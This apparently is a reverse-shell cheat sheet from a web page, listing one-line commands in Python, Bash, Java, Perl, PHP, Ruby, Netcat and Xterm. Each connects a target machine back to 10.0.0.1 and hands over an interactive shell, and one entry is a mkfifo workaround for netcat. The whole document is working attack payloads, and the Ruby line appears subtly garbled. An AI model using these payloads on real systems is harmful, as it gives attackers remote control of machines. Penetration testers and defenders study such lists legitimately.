

### Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

### Bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

### Java

```
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5</dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \\$line 2>&5 >&5; done"] as String[]) p.waitFor()
```

### PERL

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}'
```

### PHP

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

### Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

### Netcat

```
nc -e /bin/sh 10.0.0.1 1234
```

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:  
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f`

### Xterm

```
xterm -display 10.0.0.1:1
```



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Published 18th February, 2020.  
Last updated 21st February, 2020.  
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